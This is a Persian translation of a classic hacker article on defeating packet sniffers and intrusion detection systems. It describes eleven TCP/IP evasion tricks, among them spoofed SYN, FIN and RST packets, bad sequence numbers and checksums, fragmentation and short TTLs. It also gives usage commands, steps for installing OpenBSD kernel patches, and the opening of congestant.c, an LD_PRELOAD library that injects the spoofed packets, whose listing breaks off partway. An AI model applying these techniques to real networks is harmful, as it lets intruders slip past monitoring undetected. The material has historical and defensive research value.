احاطه بر Sniffer ها و IDS ها

مرور

هدف این مقاله، نشان دادن چندین روش است که با استفاده از آنها می توان بر sniffer ها و IDS ها مغلوب (!) شد. این مقاله در اساس، در مقابله با عمل sniffing توسط نفوذگران نوشته شده است، این کار از طریق پوشش های مستحکم و سفت و سختی انجام می شود که روی IDS تعریف می شوند. به هر حال، متدها و کدهای ارائه شده در این مقاله، بایستی نقطه شروع مناسبی برای گرفتن بسته های قبلی IDS شما باشد (در آینده، مقاله ای حولِ یک عملیات آزمایشی قوی از تکنیک های حمله ای علیه IDS نوشته خواهد شد).

تکنیک های موثر زیادی دیگری، به غیر از آنهایی که در این مقاله بررسی شده اند وجود دارند. در این مقاله چندین تکنیک نوعی انتخاب شده است که بتوان براحتی آنرا به چندین حمله هدف دار و پیچیده بسط و رشد داد.

دلیل اصلی رخنه های مورد بحث در این مقاله این است که اغلب sniffer ها و IDS ها، یک پیاده سازی قوی از TCP/IP روی ماشین هایی که عملا روی شبکه در حال ارتباط هستند ندارند. بسیاری از sniffer ها و IDS ها، از فرمی از دستیابی سطح در data-link، از قبیل BPF، DLP1 یا SOCK_PACKET استفاده می کنند. Sniffer کل قاب سطح datalink را دریافت می دارد[1] و هیچ نشانه زمینه ای از هسته راجع به چگونگی تفسیر یا ترجمه شدن آن قاب (frame) دریافت نمی کند. بنابراین، sniffer وظیفه تفسیر (interpret) کل بسته را دارد و حدس می زند که هسته سیستم گیرنده چگونه آنرا پردازش خواهد کرد. خوشبختانه، ۹۵٪ از اوقات، بسته به صورت معتدل خواهد بود و هسته پشته TCP/IP، به صورت نسبتا قابل پیشگویی رفتار خواهد کرد. این ۵٪ باقیمانده است که ما روی آن متمرکز خواهیم شد.

این مقاله به سه قسمت تقسیم شده است:

مرور و خلاصه ای از تکنیک های بکار برده شده، توضیحی راجع به پیاده سازی و کاربرد و کد. در جاهایی که امکانش بوده، سعی شده که کد به صورت قابل حمل (یک اصل در کدنویسی برنامه ها، portable بودن آن کد است) ارائه شود: یک کتابخانه مشترک که به دور connect() می پیچد که شما می توانید از LD_PRELOAD برای "نصب" آن در برنامه های کلاینتی معمول خود استفاده کنید. این کتابخانه مشترک از ساکت های خام جهت تولید بسته های TCP استفاده می کند که این ساکت ها بایستی تقریبا روی تمام توزیع ها یونیکس کار کنند. بهرحال، بعضی از حملات توضیح داده شده، برای پیاده سازی با ساکت های خام بسیار پیچیده می شوند، لذا patch های هسته ای OpenBSD ساده ای ارائه شده اند.

قسمت اول: حقه ها

اولین مجموعه از حقه ها، منحصرا برای فریب دادن بسیاری از sniffer ها طراحی شده اند و به احتمال بسیار زیاد، هیچ تاثیری روی یک ID System (IDS) آراسته (و خوب پیکربندی شده) ندارند. مجموعه دوم از حقه ها به اندازه کافی پیشرفته (یا پیچیده!) هستند تا روی کارآیی یک IDS تاثیر بگذارند.

حمله های مختص به Sniffer ها:

۱. طراحی sniffer – طراحی یک میزبانه

[1] شاید این عبارت، اندکی ثقیل به نظر آید، اما در توضیح باید گفت که منظور از دریافت کل قاب سطح datalink این است که کل frame ای که در سطح یا لایه data-link در مدل شبکه بندی وجود دارد، دریافت می گردد.

اولین تکنیک، بسیار ساده است و از طراحی بسیاری از sniffer ها سو استفاده می کند. چندین sniffer برای پیگیری یک ارتباط طراحی شده اند و تا زمانی که آن ارتباط بسته شود یا به یک timeout داخلی برسد، تمام دیگر چیزها را ایگنور می کنند. Sniffer هایی که به این صورت طراحی شده اند، به اندازه کاربرد حافظه و زمان CPU، کار انجام نمی دهند. اگرچه، آنها بطور کاملا آشکار مقدار زیادی از داده هایی را که می توان بدست آورد را از دست می دهند. این مسئله، به ما یک راه راحت برای اجتناب از capture شدن (ضبط شدن) بسته هایمان ارائه می دهد: قبل از ارتباط، ما یک بسته جعلی SYN[2] را از یک میزبان غیر-موجود (non-existent) به همان پورتی که قصد اتصال به آن را داریم می فرستیم. بنابراین، sniffer بسته SYN را می بیند و اگر در حال شنود باشد، وضعیت داخلی خود را طوری پیکربندی می کند که تمام بسته های مرتبط به آن ارتباط را مانیتور کند. آنگاه، هنگامی که ما ارتباط را برقرار می کنیم، sniffer بسته SYN ما را نادیده می گیرد و به نظارت بر همان میزبان دروغین (قلابی) ادامه می دهد. بعدا هنگامی که میزبان timeout می شود، ارتباط ما log نخواهد شد، چرا که بسته SYN اولیه ما هنوز ارسال نشده است (البته در نظر sniffer)!!

۲. طراحی IP Option – sniffer ها (گزینه های IP)

تکنیک بعدی به شیوه های کدنویسی جاهلانه درون sniffer ها برمی گردد. اگر شما به کد یک sniffer نگاه کنیم، یعنی یک sniffer که مبتنی بر linsniffer اصلی نباشد، خواهید دید که آنها یک ساختمان (structure) مانند زیر دارند:

```
struct etherpacket
{
   etherheader eh;
   ipheader ip;
   tcpheader tcp;
   char data[8192];
};
```

sniffer یک بسته را از واسط datalink خوانده و سپس آنرا درون آن ساختمان وارد می کند، لذا می تواند آنرا به راحتی آنالیز کند. این مورد بایستی در بسیاری از اوقات بخوبی کار کند. اگرچه، این خط مشیء فرضیات زیادی را می طلبد: فرض می رود که اندازه هدر IP برابر با ۲۰ بایت می باشد و همچنین اینکه اندازه هدر TCP برابر با ۲۰ می باشد. اگر شما یک بسته IP را با ۴۰ بایت برای اختیارات (option ها) موجود در هدر ارسال کنید، آنگاه sniffer درون اختیارات IP شما، بدنبال هدر TCP می گردد و بسته شما را کاملا غلط تفسیر می کند. اگر sniffer، بدرستی هدر IP شما را تشخیص دهد، اما با هدر TCP مشکلی داشته باشد، باز هم چیز زیادی نصیب شما نخواهد شد. در این وضعیت، شما ۴۰ بایت داده ی اضافی دریافت می کند که sniffer آنها را لاگ خواهد کرد. به هرحال، گزینه های اجباری IP را در هسته OpenBSD پیاده سازی کردیم، بطوریکه توسط یک sysctl قابل اداره باشد.

۳. الحاق (Insertion) – جعل FIN و RST – شماره های توالی غیرمعتبر

این تکنیک از این حقیقت سو استفاده خواهد کرد که sniffer نوعی شما، ردپایی از جزئیات بخصوص موجود در ارتباط در حال پیشرفت را نمی گیرد. در یک ارتباط TCP، شماره های توالی به عنوان یک مکانیزم کنترلی استفاده می شوند تا تعیین شود چه مقدار داده ارسال شده است و نیز ترتیب صحیح برای آن داده های ارسالی چیست. بسیاری از sniffer، ردپایی از شماره های توالی روی یک ارتباط TCP در حال پیشرفت نمی گیرند. این مورد به ما اجازه می دهد که بسته ها را در یک جریان داده ای (data stream) قرار دهیم که هسته آنرا نادیده خواهد گرفت، اما sniffer آنها را بصورت معتبر تفسیر می کند. اولین تکنیک که مبتنی بر این مسئله استفاده خواهیم کرد، جعل کردن بسته های FIN و RST می باشد. FIN و RST، فلگ های کنترلی درون بسته های TCP هستند، یک FIN، شروع یک توالی shutdown را برای یک طرف از ارتباط نشان می دهد و یک RST نشان می دهد که یک ارتباط بایستی فورا و بلافاصله از هم گسیخته شود (ارتباط از بین برود یا ارتباط قطع شود). اگر ما بسته ای را با FIN یا RST،

[2] منظور از جعلی، همان بسته **Spoof** شده می باشد.

بهمراه یک شماره توالی که با شماره توالی فعلی و مورد انتظار توسط هسته (کرنل) تفاوت داشته باشد ارسال کنیم، آنگاه هسته آنرا نادیده خواهد گرفت. به هر حال، sniffer احتمالا با این مسئله، به عنوان یک درخواست قانونی جهت بستن ارتباط یا reset شدن ارتباط برخورد کرده و درنتیجه عملیات logging را متوقف خواهد ساخت.

جالب است بدانید که پیاده سازی های مشخصی از پشته های TCP، هنگام دریافت یک RST، شماره های توالی را بدرستی بررسی نمی کنند. بدیهی است که این مسئله، شانس بسیاری برای یک حمله تکذیب سرویس (DoS) فراهم می سازد. خصوصا، باید گفت که Digital Unix 4.0d، بدون چک کردن شماره های توالی روی بسته های RST، ارتباط را قطع می کند.

۴. الحاق – جعل داده ها ۰ شماره های توالی غیرمعتبر

این تکنیک، تغییری از تکنیک قبلی است. این تکنیک از این حقیقت سو استفاده خواهد کرد که یک sniffer نوعی از شماره های توالی یک ارتباط TCP پیروی نمی کند. بسیاری از sniffer ها، طول مشخصی برای ضبط داده ها دارند، بطوریکه پس از اینکه آن مقدار از داده ضبط شد، عملیات logging روی یک ارتباط متوقف خواهد شد. اگر ما مقدار زیادی از اطلاعات را با شماره های توالی کاملا غلط، پس از برقراری ارتباط ارسال کنیم، بسته های ما توسط هسته drop خواهند شد. اگرچه، sniffer تمام آن داده ها را به عنوان اطلاعات معتبر ضبط خواهد کرد.

حمله های کارگر روی IDS / Sniffer:

تکنیک های فوق بطور شگفت آوری برای بسیاری از sniffer ها کار می کنند، اما روی بسیاری از IDS ها تاثیر زیادی نخواهند داشت. شش تکنیک بعدی، اندکی پیچیده هستند، اما نقاط شروع مناسبی برای پایان یافتن مانیتورهای شبکه ای پیچیده تر می باشند.

۵. حیله (Evasion) – قطعه سازی IP

عملیات تکه سازی IP، اجازه می دهند که بسته ها به چندین دیتاگرام تقسیم شوند، تا به این ترتیب بسته ها را در ماکزیمم مقدار واحدهای انتقالی در واسط فیزیکی شبکه پر کنند. برای نمونه، TCP از mtu آگاهی دارد و بسته هایی که بایستی در سطح IP تکه سازی شوند را ارسال نمی دارد. ما می توانیم از این مسئله استفاده کنیم تا sniffer ها و IDS ها را دچار سردرگمی و گمراهی کنیم. چندین حمله وجود دارند که عملیات تکه سازی (fragmentation) را درگیر کار می کنند، اما ما تنها یک مورد ساده را بررسی می کنیم. ما می توانیم یک قطعه بسته ی TCP را از طریق چندین دیتاگرام IP ارسال کنیم، بطوریکه ۸ بایت نخست از هدر TCP، در یک بسته واحد باشند و مابقی داده ها در بسته های ۳۲ بایتی ارسال شوند. این مسئله قابلیت زیادی را به ما برای فریب دادن یک ابزار آنالیز شبکه می دهد. ابتدای به ساکن باید گفت که، IDS/sniffer باید قادر به انجام سرهم سازی قطعه ها[۳] باشند. دوم اینکه، بایستی قادر به سروکله زدن با هدرهای قطعه شده ی TCP باشند. به نظر می آید این تکنیک ساده، آنقدر کافی است تا بسته های خود را از دست بسیاری از مانیتورهای شبکه ای در سطح data-link برهانید. این یک حمله دیگر است که ما بهعنوان یک sysctl در هسته OpenBSD اجرا کردیم.

این تکنیک بسیار قدرتمند است، به این صورت که قابلیت آن در پایان دادن به کار بسیاری از sniffer عالی است. به هر حال، این تکنیک به مقداری تجربه و آزمایش همه نیاز دارد، چرا که شما باید اطمینان حاصل کنید که بسته های شما از همه فیلترهای موجود در بین شما و هدف گذشته اند. چندین فیلتر بسته، از روی عمد بسته های تکه شده ای را که به نظر می آید می خواهند هدر UDP/TCP را مجددا بنویسند یا آنهایی که به نظر می آیند بی جهت کوچک هستند، drop می کنند. اجرائیات انجام شده در این مقاله، به شما کنترل مناسبی روی اندازه قطعه هایی که ماشین شما تولید می کند خواهد داشت.

---

[3] Fragment Reassembly

۶. غیرهمگام سازی (Desynchronize) – ارتباط ارسالی SYN

اگر ما سعی در فریب دادن یک sniffer یا IDS هوشمند داشته باشیم، آنگاه میتوانیم تقریبا مطمئن باشیم که ردپای شماره های توالی TCP را برمی دارد. برای این تکنیک، ما سعی در desynchronize کردن IDS/sniffer از شماره های توالی واقعی که هسته انتشار می دهد می کنیم. ما این حمله را با ارسال یک بسته SYN ارتباط پستی در دیتاگرام خود انجام می دهیم که شماره های توالی را بصورت واگرا خواهد داشت و در غیراینصورت، مجبور به تقبل تمام ضوابط هایی خواهیم بود که بایستی توسط میزبان هدف ما پذیرفته شود. بهرحال، میزبان هدف این بسته SYN را ایگنور خواهد کرد، چرا که این بسته به یک ارتباط از پیش برقرار شده ارجاع دارد. منظور از این حمله، این است که با بسته جدید SYN، sniffer/IDS را به همگام سازی مجدد[۴] تصور (و گمان) خود از شماره های توالی واداریم. آنگاه هرگونه داده که بخشی از جریان داده ای واقعی و مشروع باشد را ایگنور خواهد کرد، چرا که منتظر یک شماره توالی متفاوت خواهد شد. اگر ما در همگام سای مجدد IDS با یک بسته SYN موفق بودیم، آنگاه می توانیم یک بسته RST را با شماره توالی جدید ارسال داریم و گمان و تصور آنرا از ارتباط از بین می بریم.

۷. غیرهمگام سازی – ارتباط قبلی SYN

حمله دیگری که در امتداد این طرح انجام می دهیم، ارسال یک SYN اولیه با یک TCP checksum غیرمعتبر، قبل از ارتباط واقعی می باشد. اگر sniffer به اندازه کافی کوچک باشد تا SYN های بعدی را در یک ارتباط ایگنور کند، اما به اندازه کافی برای چک کردن TCP checksum هوشیار نباشد، آنگاه این حمله، قبل از برقراری ارتباط واقعی، sniffer/IDS را در همگام سازی یک شماره توالی جعلی هدایت کرد. این حمله، قبل از فراخوانی ()connect، تابع ()bind را برای تخصیص یک پورت محلی به ساکت توسط هسته فراخوانی می کند.

۸. الحاق – جعل FIN و RST – اعتبار سازی TCP Checksum

این تکنیک نوع متفاوتی از تکنیک جعلی FIN/RST می باشد که در بالا ذکر شد. به هر حال، در این لحظه، ما بسته های FIN و RST را ارسال می کنیم که بطور قانونی ارتباط را می بندند، اما کار ما دارای یک استثنا نیز می باشد: TCP checksum غیرمعتبر خواهد بود. این بسته ها بلافاصله توسط هسته drop خواهند شد، اما برای IDS/Sniffer ها مهم جلوه خواهند کرد. این حمله پشتیبانی هسته را جهت تعیین شماره های توالی صحیح جهت استفاده در بسته ها می طلبد.

۹. الحاق – داده های غیرمعتبر – اعتبارسازی TCP Checksum

این تکنیک نوع متفاوتی از حمله الحاق داده (Data Insertion) می باشد که در قبل مورد بحث قرار گرفت. با این تفاوت که ما داده ها را شماره های توالی صحیح و TCP Checksum های غیرصحیح الحاق می کنیم. با دادن مقدار زیادی داده که توسط هسته های شرکت کننده در این حمله مورد قبول واقع نمی شوند، می توان باعث سردرگمی sniffer ها و IDS ها و ناهمگام سازی آنها شد. این حمله نیز پشتیبانی هسته را جهت دریافت شماره های توالی صحیح برای بسته های خروجی نیاز دارد.

۱۰. الحاق – جعل FIN و RST – TTL های کوتاه

اگر IDS یا Sniffer طوری در شبکه قرار گرفته باشد که از میزبانی که آنرا مانیتور می کند، یک یا چندین Hop دورتر باشد، آنگاه ما می توانیم یک حمله ساده انجام بدهیم که این حمله با تغییر فیلد TTL از بسته IP انجام می گیرد. برای این نوع حمله، ما کمترین مقدار TTL ای که می تواند به میزبان برسد را محاسبه می کنیم و سپس یک واحد از آن کم می کنیم. این کار به

---

[4] resynchronize

ما اجازه می دهد تا بسته هایی را ارسال کنیم که به میزبان هدف نخواهند رسید، اما به IDS یا Sniffer می رسند. در این نوع حملات، ما توده ای از بسته های FIN و RST را ارسال خواهیم کرد.

۱۱. الحاق – جعل داده ها – TTL های کوتاه

برای حمله نهایی خود، ما ۸ کیلوبایت داده را با شماره توالی و TCP Checksum های صحیح می فرستیم. به هر حال، TTL باید به اندازه یک Hop برای رسیدن به میزبان مورد نظر کوچکتر باشد.

خلاصه

تمام این حملات برای سردرگمی IDS ها و Sniffer ها مورد استفاده قرار می گیرند. در اینجا به ترتیب تفکیکی از حملاتی که انجام شد را ذکر می کنیم:

Attack 1 - One Host Sniffer Design.
  FAKEHOST -> TARGET SYN
Attack 7 - Pre-connect Desynchronization Attempt.
  REALHOST -> TARGET SYN (Bad TCP Checksum, Arbitrary Seq Number)
Kernel Activity
  REALHOST -> TARGET SYN (This is the real SYN, sent by our kernel)
Attack 6 - Post-connect Desynchronization Attempt.
  REALHOST -> TARGET SYN (Arbitrary Seq Number X)
  REALHOST -> TARGET SYN (Seq Number X+1)
Attack 4 - Data Spoofing - Invalid Sequence Numbers
  REALHOST -> TARGET DATA x 8 (1024 bytes, Seq Number X+2)
Attack 5 - FIN/RST Spoofing - Invalid Sequence Numbers
  REALHOST -> TARGET FIN (Seq Number X+2+8192)
  REALHOST -> TARGET FIN (Seq Number X+3+8192)
  REALHOST -> TARGET RST (Seq Number X+4+8192)
  REALHOST -> TARGET RST (Seq Number X+5+8192)
Attack 11 - Data Spoofing - TTL
* REALHOST -> TARGET DATA x 8 (1024 bytes, Short TTL, Real Seq Number Y)
Attack 10 - FIN/RST Spoofing - TTL
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+8192)
* REALHOST -> TARGET FIN (Short TTL, Seq Number Y+1+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+2+8192)
* REALHOST -> TARGET RST (Short TTL, Seq Number Y+3+8192)
Attack 9 - Data Spoofing - Checksum
* REALHOST -> TARGET DATA x 8 (1024 bytes, Bad TCP Checksum, Real Seq Number Z)
Attack 8 - FIN/RST Spoofing - Checksum
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+8192)
* REALHOST -> TARGET FIN (Bad TCP Checksum, Seq Number Z+1+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+2+8192)
* REALHOST -> TARGET RST (Bad TCP Checksum, Seq Number Z+3+8192)

حمله هایی که با ستاره مشخص شده اند برای تعین شماره های توالی صحیح نیاز به پشتیبانی هسته دارند. اگرچه این کار را بدون پشتیبانی هسته نیز می توان انجام داد و یک sniffer سطح datalink راه اندازی کرد، اما این کار باعث خواهد شد که کد اندکی پیچیده تر گردد. چرا که این sniffer مجبور به سرهم سازی (reassemble) قطعه ها خواهد بود و چندین بررسی اعتبارسنجی را به منظور پیروی از ارتباط واقعی انجام دهد. کاربر می توان هر یک از این حملات را انجام دهد و از این رو شماره های توالی خودشان را تعدیل می کنند.

قسمت دوم: پیاده سازی ها و کاربرد آنها

هدف اصلی ما در این مقاله این بود که تا جای ممکن تغییرات لازم برای پیاده سازی این تکنیک ها را معمول و نرمال معرفی کنیم. مجبور بودیم تا تکنیک ها را به دو دسته تقسیم کنیم: حملاتی که می توان از زمینه کاربری انجام داد و حملاتی که بایست بنحوی توسط هسته تقویت شود. هدف ثانویه ما این بود که مجموعه حملات را تا جای ممکن برای دیگر محیط های Unix و ... اصطلاحا Portable نگه داریم. این گونه حملات با استفاده از تعیین مسیر کتابخانه های اشتراکی انجام می شود. نخستین برنامه ای که در زیر ذکر شده (congest.c)، یک کتابخانه اشتراکی است که کاربر loader را برای، ابتدا لینک کردن آن درخواست می کند. این عمل با استفاده از متغیر محیطی LD_PRELOAD روی چندین توزیع از یونیکس انجام می شود (در آینده اطلاعات بیشتری در این باب ارائه خواهد شد).

کتابخانه اشتراکی نشانه اتصال را تعریف می کند، بنابراین از پیش خالی کردن تابع connect معمول از libc (یا libsocket) در خلال لود شدن فاز اجرایی برنامه یکی از این موارد خواهد بود. لذا شما بایستی قادر به استفاده از این تکنیک ها با تقریبا هر برنامه کلاینت دیگر که عاملیت نرمال از سوکت BSD را اجرا می کند کارکرد لازم را داشته باشد. OpenBSD به ما اجازه انجام هدایت مجدد برای کتابخانه اشتراکی را نمی دهد (هنگامی که شما می خواهید نشانه قدیمی از libc را همگام سازی کنید، به شما یک اشاره گر از تابعی که قبلا بارگذاری کرده اید خواهد داد). به هر حال، هیچ مشکلی نیست، چرا که شما می توانید فراخوانی سیستمی connect() را مستقیما فراخوانی کنید.

این کتابخانه اشتراکی اشکالاتی قطعی دارد، اما تا هر قدر که تلاش کنید تا همان قدر نتیجه خواهید گرفت. این کتابخانه با برنامه هایی که فراخوانی های اتصالی غیربلاکی (non-blocking) را انجام می دهند یا سطح دسترسی RAW یا datalink دارند کارکرد نخواهد داشت. بعلاوه، تنها برای استفاده در سوکت های TCP طراحی شده است و بدون پشتیبانی هسته جهت تعیین نوع یک سوکت، حملات TCP را روی ارتباطات UDP امتحان خواهد کرد. این پشتیبانی تنها تحت OpenBSD پیاده سازی می شود. به هر حال، این یکی از این مشکلات بود، چرا که تنها چند فرستاده و همان ها دور ریخته می شوند. مشکل دیگر با کتابخانه اشتراکی این است که آنها یک شماره توالی را انتخاب خواهند کرد که ذاتا این شماره توالی "نادرست" می باشد. بر اساس این حقیقت، احتمال بسیار کمی وجود دارد که کتابخانه اشتراکی یک شماره توالی قانونی و صحیح را انتخاب کرده و جریان داده ها را ناهمگام نسازد. به هر حال، این مسئله بسیار غیرمحتمل می باشد. شما می توانید کتابخانه را به صورت زیر استفاده کنید:

```
# export LD_PRELOAD=./congestion.so
# export CONGCONF="DEBUG,OH,SC,SS,DS,FS,RS"
# telnet www.blah.com
```

کتابخانه به هر ارتباطی در برنامه که شما از آن به بعد اجرا می کنید می چسبد و به شما محافظتی خاص ارائه می کند. شما می توانید برنامه را با تعریف متغیر محیطی CONGCONF کنترل کنید. شما یک کاما (ویرگول) به آن می دهید که لیست حملات را تعیین می کند که ساختارهای آن به صورت زیر می باشد:

```
DEBUG: Show debugging information
OH: Do the One Host Design Attack
SC: Spoof a SYN prior to the connect with a bad TCP checksum.
SS: Spoof a SYN after the connection in a desynchronization attempt.
DS: Insert 8k of data with bad sequence numbers.
FS: Spoof FIN packets with bad sequence numbers.
RS: Spoof RST packets with bad sequence numbers.
DC: Insert 8k of data with bad TCP checksums. (needs kernel support)
FC: Spoof FIN packets with bad TCP checksums. (needs kernel support)
RC: Spoof RST packets with bad TCP checksums. (needs kernel support)
DT: Insert 8k of data with short TTLs. (needs kernel support)
FT: Spoof FIN packets with short TTLs. (needs kernel support)
```

RT: Spoof RST packets with short TTLs. (needs kernel support)

پشتیبانی هسته

patch های هسته OpenBSD چندین تکنیک توصیف شده در بالا را تسهیل می بخشند. این patch ها علیه توزیع منبع ۲,۴ ساخته شده اند. ما سه متغیر sysctl و یک فراخوانی سیستمی جدید را به هسته اضافه کرده ایم. سه متغیر sysctl به صورت زیر می باشند:

net.inet.ip.fraghackhead (integer)
net.inet.ip.fraghackbody (integer)
net.inet.ip.optionshack (integer)

فراخوانی سیستمی جدید، ()getsockinfo می باشد و فراخوانی سیستمی شماره ۲۴۲ می باشد. سه sysctl موجود را می توان برای تغییر مشخصات هر بسته IP خروجی که از ماشین می آید استفاده کرد. متغیر fraghackhead، یک mtu جدید (به بایت) را برای دیتاگرام های IP خروجی تعیین می کند. fraghackhead روی هر دیتاگرام خروجی اعمال می شود، مگر اینکه fraghackbody نیز روی بسته تعریف شده باشد. در این مورد، mtu برای اولین قطعه از یک بسته از fraghackhead خوانده می شود و mtu نیز برای هر قطعه متوالی از fraghackbody خوانده می شود. این مسئله به شما اجازه می دهد تا ماشین خود را مجبور کنید که تمام ترافیک خود را به هر اندازه ای که شما تعیین کنید، قطعه سازی (fragment) کند. دلیل تقسیم به این دو متغیر این است که ما می توانیم اولین قطعه که حاوی کل هدر TCP/UDP می باشد را در اختیار خود داشته باشیم و قطعه های بعدی را با اندازه بایتی برابر با ۸ یا ۱۶ بایت داشته باشیم. به این طریق، شما می توانید بسته های قطعه شده خود را از مسیریاب های فیلترکننده دریافت کنید (که این مسیریاب ها هر گونه بازنوشت بالقوه روی هدر را بلاک می کنند). متغیر سوم یعنی optionshack نیز به شما اجازه می دهد که ۴۰ بایت الزامی از گزینه های NULL IP را روی هر بسته خروجی فعال سازید.

من این کنترل ها را اعمال کرده ام، بطوریکه آنها هیچ تاثیری روی بسته های ارسالی از طریق سوکت های RAW ندارند. مفهوم این است که بسته های هجومی ما (که حمله را با آن انجام می دهیم) قطعه سازی نخواهند شد یا حاوی IP Option ها (اختیارات و گزینه های موجود روی بسته های IP) نخواهند بود.

استفاده از این sysctl ها تقریبا ساده است: برای متغیرهای fraghack، شما تعدادی از بایت ها را تعیین می کنید (یا عدد صفر را برای غیرفعال کردن این گزینه ها وارد می کنید) و برای optionshack، شما عدد صفر یا یک را وارد می کنید. در زیر یک مثال کاربردی را می بینید:

```
# sysctl -w net.inet.ip.optionshack=1    # 40 bytes added to header
# sysctl -w net.inet.ip.fraghackhead=80  # 20 + 40 + 20 = full protocol header
# sysctl -w net.inet.ip.fraghackbody=68  # 20 + 40 + 8 = smallest possible frag
```

به خاطر داشته باشید که بایستی راجع به گزینه های fraghack بسیار دقیق و محتاط باشید. هنگامی که قطعه سازی های غیرمعمولی را تعیین می کنید، کل حافظه ای که هسته برای ذخیره هدرهای بسته در دسترس دارد را از او خواهید گرفت. اگر میزان استفاده از حافظه خیلی زیاد باشد، در این صورت ()sendto یک خطا به صورت No Buffer Space برخواهند گرداند. اگر با برنامه هایی مانند telnet یا ssh کار کنید (که از بسته های کوچک استفاده می کنند)، آنگاه بایستی با ۲۸ یا ۳۶/۲۸ راحت کارکنید. به هر حال، اگر از برنامه هایی استفاده می کنید که از بسته های بزرگ استفاده می کنند (مثل ftp یا rcp)، آنگاه باید fraghackbody را به یک شماره بزرگتر (مثل ۲۰۰) تنظیم کنید.

فراخوانی سیستمی getsockinfo در برنامه مورد نیاز است. این فراخوانی تعیین می کنید که آیا یک سوکت، یک TCP Socket می باشد یا خیر و همچنین از هسته شماره توالی بعدی را که روی بسته خروجی بعدی ارسال خواهد شد گزارش می گیرد و به همین صورت شماره توالی بعدی که باید از طرف مقابل خود دریافت کند. این مسئله به برنامه اجازه می دهد که حملاتی را

پیاده سازی کند که در آن ما به شماره توالی صحیح و رخنه های موجود در بسته مثل یک TTL با مقدار کم یا یک TCP Checksum خراب نیاز داریم.

نصب patch در هسته

در زیر مراحلی را می بینید که من برای نصب patch های هسته طی کرده ام:

اخطار: من در زمینه برنامه نویسی هسته حرفه ای نیستم، اما موارد زیر را روی ماشین خودم اعمال کردم و بدون مشکل جواب داد، اما آگاه باشید که با نصب این patch ها، با مواردی بحرانی دست و پنجه نرم کرده اید. ضرب المثلی در این راستا وجود دارد: اگر هیچ ریسکی انجام ندهی، هیچ گونه شادی و سرگرمی نخواهی داشت!!!

گام ۱: patch موجود با نام netinet را در /usr/src/sys/netinet/ اعمال کنید.

گام ۲: دستور cp /usr/src/sys/netinet/in.h to /usr/include/netinet/in.h

گام ۳: به /usr/src/usr.sbin/sysctl رفته و مجددا آنرا بسازید و نصب کنید.

گام ۴: patch موجود با نام kern را در /usr/src/sys/kern/ اعمال کنید.

گام ۵: دستور cd /usr/src/sys/kern; make

گام ۶: patch موجود با نام sys را در /usr/src/sys/sys اعمال کنید.

گام ۷: دستور cd (یا Change Directory) را به شاخه ساختن هسته خود انجام دهید.

معمولا به صورت /usr/src/sys/arch/XXX/compile/XXX می باشد. سپس یک make depend && make انجام دهید.

گام ۸: دستور cp bsd /bsd را اجرا کنید و پس از آن کامپیوتر خود را مجددا راه اندازی کنید!

کد مربوط به برنامه

```
<++> congestant/Makefile
# OpenBSD
LDPRE=-Bshareable
LDPOST=
OPTS=-DKERNELSUPPORT

# Linux
#LDPRE=-Bshareable
#LDPOST=-ldl
#OPTS=

# Solaris
#LDPRE=-G
#LDPOST=-ldl
#OPTS=-DBIG_ENDIAN=42 -DBYTEORDER=42

congestant.so: congestant.o
	ld ${LDPRE} -o congestant.so congestant.o ${LDPOST}

congestant.o: congestant.c
	gcc ${OPTS} -fPIC -c congestant.c

clean:
	rm -f congestant.o congestant.so
<-->
<++> congestant/congestant.c
/*
 * congestant.c - demonstration of sniffer/ID defeating techniques
 *
 * by horizon <jmcdonal@unf.edu>
 * special thanks to stran9er, mea culpa, plaguez, halflife, and fyodor
```

```
 *
 * openbsd doesn't let us do shared lib redirection, so we implement the
 * connect system call directly. Also, the kernel support for certain attacks
 * is only implemented in openbsd. When I finish the linux support, it will
 * be available at http://www.rhino9.ml.org
 *
 * This whole thing is a conditionally compiling nightmare. :>
 * This has been tested under OpenBSD 2.3, 2.4, Solaris 2.5, Solaris 2.5.1,
 * Solaris 2.6, Debian Linux, and the glibc Debian Linux
 */


/* The path to our libc. (libsocket under Solaris) */
/* You don't need this if you are running OpenBSD */
/* #define LIB_PATH "/usr/lib/libsocket.so" */
#define LIB_PATH "/lib/libc-2.0.7.so"
/* #define LIB_PATH "/usr/lib/libc.so"  */


/* The source of our initial spoofed SYN in the One Host Design attack */
/* This has to be some host that will survive any outbound packet filters */
#define FAKEHOST "42.42.42.42"


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <string.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#if __linux__
#include <endian.h>
#endif
#include <errno.h>


struct cong_config
{
		int one_host_attack;
		int fin_seq;
		int rst_seq;
		int syn_seq;
		int data_seq;
		int data_chk;
		int fin_chk;
		int rst_chk;
		int syn_chk;
		int data_ttl;
		int fin_ttl;
		int rst_ttl;
		int ttl;
} cong_config;


int cong_init=0;
int cong_debug=0;
long cong_ttl_cache=0;
int cong_ttl=0;


/* If this is not openbsd, then we will use the connect symbol from libc */
/* otherwise, we will use syscall(SYS_connect, ...) */


#ifndef __OpenBSD__


#if __GLIBC__ == 2
int (*cong_connect)(int, __CONST_SOCKADDR_ARG, socklen_t)=NULL;
#else
int (*cong_connect)(int, const struct sockaddr *, int)=NULL;
#endif


#endif /* not openbsd */


#define DEBUG(x) if (cong_debug==1) fprintf(stderr,(x));


/* define our own headers so its easier to port. use cong_ to avoid any
 * potential symbol name collisions */
```

```
struct cong_ip_header
{
        unsigned char  ip_hl:4,         /* header length */
                       ip_v:4;          /* version */
        unsigned char  ip_tos;          /* type of service */
        unsigned short ip_len;          /* total length */
        unsigned short ip_id;           /* identification */
        unsigned short ip_off;          /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        unsigned char  ip_ttl;          /* time to live */
        unsigned char  ip_p;            /* protocol */
        unsigned short ip_sum;          /* checksum */
        unsigned long ip_src, ip_dst; /* source and dest address */
};

struct cong_icmp_header /* this is really an echo */
{
  unsigned char icmp_type;
  unsigned char icmp_code;
  unsigned short icmp_checksum;
  unsigned short icmp_id;
  unsigned short icmp_seq;
  unsigned long icmp_timestamp;
};

struct cong_tcp_header
{
